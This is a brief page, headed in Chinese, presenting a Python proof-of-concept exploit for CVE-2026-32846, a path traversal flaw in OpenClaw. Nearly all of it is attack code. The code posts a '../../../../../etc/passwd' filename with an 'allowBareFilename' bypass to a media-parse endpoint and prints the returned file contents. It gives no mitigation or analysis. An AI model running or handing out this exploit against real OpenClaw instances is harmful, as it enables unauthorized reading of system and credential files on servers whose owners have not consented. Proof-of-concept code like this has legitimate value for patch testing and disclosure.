CVE-2026-32846 OpenClaw路径遍历漏洞

import requests # Exploit PoC for CVE-2026-32846 # This script demonstrates the path traversal vulnerability in OpenClaw. def exploit(target_url): # The endpoint responsible for media parsing endpoint = f"{target_url}/api/media/parse" # Payload utilizing the allowBareFilename bypass and path traversal # Attempting to read /etc/passwd payload = { "filename": "../../../../../etc/passwd", "allowBareFilename": "true", # Bypass mechanism "action": "read" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Sensitive data found:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance.com" exploit(target)